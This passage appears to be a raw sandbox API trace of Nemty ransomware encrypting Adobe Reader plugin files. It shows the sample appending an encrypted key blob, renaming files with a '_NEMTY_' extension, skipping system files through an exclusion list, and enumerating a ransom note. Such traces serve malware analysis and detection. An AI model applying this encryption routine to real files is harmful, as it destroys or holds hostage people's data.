GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2603d530, dwHighDateTime=0x1d561e8)) [0191.878] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2603d530, dwHighDateTime=0x1d561e8)) [0191.878] GetLastError () returned 0x0 [0191.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.878] GetLastError () returned 0x0 [0191.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.878] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.878] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.878] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0191.878] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e29c | out: pszString="lvieMk3omOIZh5cz9ZIzmH1RbW6SkUvkPbPEBnpwGyD/8XqlgR2fRisz0Uxod29Z\r\nEIOQEKN3sRXLGjoHrh1l+Qziuz4Aksx6DJHruT7YwN8le7DU2FZrrmbyMNV0r3st\r\n7X0DVRP11yc0gsxD7whI6llGMX7ijkbfV5/1zxDDmSYVhroXFAZRrXWdJ1sTZn4r\r\nhotw4NdvAjHJhUK/OTVb7VUyOaEL/8dY9R27I+r+bvnU8P2oyxUUsdj1p7KAhGaU\r\niVD+9prcKrAbXkRakVnmYefOxkeYJ8Dv+NmCgOwIKeEmxC4JzAsuWMcXA6pChi8U\r\ncxOBiY9JVJkJCRprkpbeow==\r\n", pcchString=0x653e29c) returned 1 [0191.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0191.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0191.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.879] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\QuickTime.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\quicktime.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.879] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.879] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.879] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.881] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.881] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.882] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.882] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.882] CloseHandle (hObject=0x2f0) returned 1 [0191.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0191.882] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.882] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0191.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0191.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0191.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.882] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\QuickTime.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\quicktime.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\QuickTime.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\quicktime.hrv._nemty_kgobjgd_")) returned 1 [0191.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0191.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0191.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.883] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.HRV", cAlternateFileName="WINDOW~1.HRV")) returned 1 [0191.883] lstrcmpiW (lpString1="WindowsMedia.HRV", lpString2=".") returned 1 [0191.883] lstrcmpiW (lpString1="WindowsMedia.HRV", lpString2="..") returned 1 [0191.883] lstrcmpiW (lpString1="WindowsMedia.HRV", lpString2="...") returned 1 [0191.883] lstrcmpiW (lpString1="WindowsMedia.HRV", lpString2="windows") returned 1 [0191.883] lstrcmpiW (lpString1="WindowsMedia.HRV", lpString2="$RECYCLE.BIN") returned 1 [0191.883] lstrcmpiW (lpString1="WindowsMedia.HRV", lpString2="rsa") returned 1 [0191.883] lstrcmpiW (lpString1="WindowsMedia.HRV", lpString2="NTDETECT.COM") returned 1 [0191.883] lstrcmpiW (lpString1="WindowsMedia.HRV", lpString2="ntldr") returned 1 [0191.883] lstrcmpiW (lpString1="WindowsMedia.HRV", lpString2="MSDOS.SYS") returned 1 [0191.883] lstrcmpiW (lpString1="WindowsMedia.HRV", lpString2="IO.SYS") returned 1 [0191.883] lstrcmpiW (lpString1="WindowsMedia.HRV", lpString2="boot.ini") returned 1 [0191.883] lstrcmpiW (lpString1="WindowsMedia.HRV", lpString2="boot.ini") returned 1 [0191.883] lstrcmpiW (lpString1="WindowsMedia.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0191.883] lstrcmpiW (lpString1="WindowsMedia.HRV", lpString2="ntuser.dat") returned 1 [0191.883] lstrcmpiW (lpString1="WindowsMedia.HRV", lpString2="desktop.ini") returned 1 [0191.883] lstrcmpiW (lpString1="WindowsMedia.HRV", lpString2="CONFIG.SYS") returned 1 [0191.883] lstrcmpiW (lpString1="WindowsMedia.HRV", lpString2="RECYCLER") returned 1 [0191.883] lstrcmpiW (lpString1="WindowsMedia.HRV", lpString2="BOOTSECT.BAK") returned 1 [0191.883] lstrcmpiW (lpString1="WindowsMedia.HRV", lpString2="bootmgr") returned 1 [0191.883] lstrcmpiW (lpString1="WindowsMedia.HRV", lpString2="programdata") returned 1 [0191.883] lstrcmpiW (lpString1="WindowsMedia.HRV", lpString2="appdata") returned 1 [0191.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.HRV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.HRV", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.HRV", lpUsedDefaultChar=0x0) returned 16 [0191.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0191.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.HRV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.HRV", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.HRV", lpUsedDefaultChar=0x0) returned 16 [0191.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0191.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.HRV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.HRV", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.HRV", lpUsedDefaultChar=0x0) returned 16 [0191.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.HRV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.HRV", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.HRV", lpUsedDefaultChar=0x0) returned 16 [0191.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0191.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0191.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0191.884] Sleep (dwMilliseconds=0x5) [0191.895] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x26063690, dwHighDateTime=0x1d561e8)) [0191.895] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x26063690, dwHighDateTime=0x1d561e8)) [0191.895] GetLastError () returned 0x0 [0191.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.895] GetLastError () returned 0x0 [0191.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.895] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.895] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.895] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0191.895] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e29c | out: pszString="F1LG5ueGuNolB4iWtUn+DqfK0pSkWAc0cXxrieQGDJIfxMyKt4NNr2sDMFBqJsQj\r\nobPHDSyIqz2MKpqH3smgKHGix7i+wg4O1OJmLinjzVmOviVrOKjafBpslGdM1Gm2\r\nkOVhoxecveOUiLuX9HVRP8V1TCGc2gixMGniNe7n5gF3jSb6UcFF9MVORT9F9kbi\r\naThcgWZhoaE8AMoazoUI/cXU4vZ2jHc722WetZ2bOENXd96UFdKFH142y9ma9IL+\r\nm0lxiOFsJoEEAWrhcnD15F525ucsvm3feKxA3i0AmMt3gYQnKreI5UWlrkgdfDFF\r\ndgkKsQ6vcgHfW/3S8DXmaQ==\r\n", pcchString=0x653e29c) returned 1 [0191.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0191.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.895] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\WindowsMedia.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\windowsmedia.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.896] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.896] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.896] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.898] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.898] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.899] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.899] WriteFile (in: hFile=0x2f0, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.899] CloseHandle (hObject=0x2f0) returned 1 [0191.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0191.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0191.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0191.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0191.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.899] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\WindowsMedia.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\windowsmedia.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\WindowsMedia.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\windowsmedia.hrv._nemty_kgobjgd_")) returned 1 [0191.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0191.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0191.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0191.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.900] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25fcb110, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x25fcb110, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x25fcb110, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0191.900] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0191.900] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0191.900] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0191.900] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0191.900] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0191.900] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0191.900] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0191.900] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0191.900] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0191.900] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0191.900] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0191.900] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0191.900] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0191.900] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0191.900] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0191.900] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0191.900] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0191.900] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0191.900] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0191.900] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0191.901] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0191.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0191.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 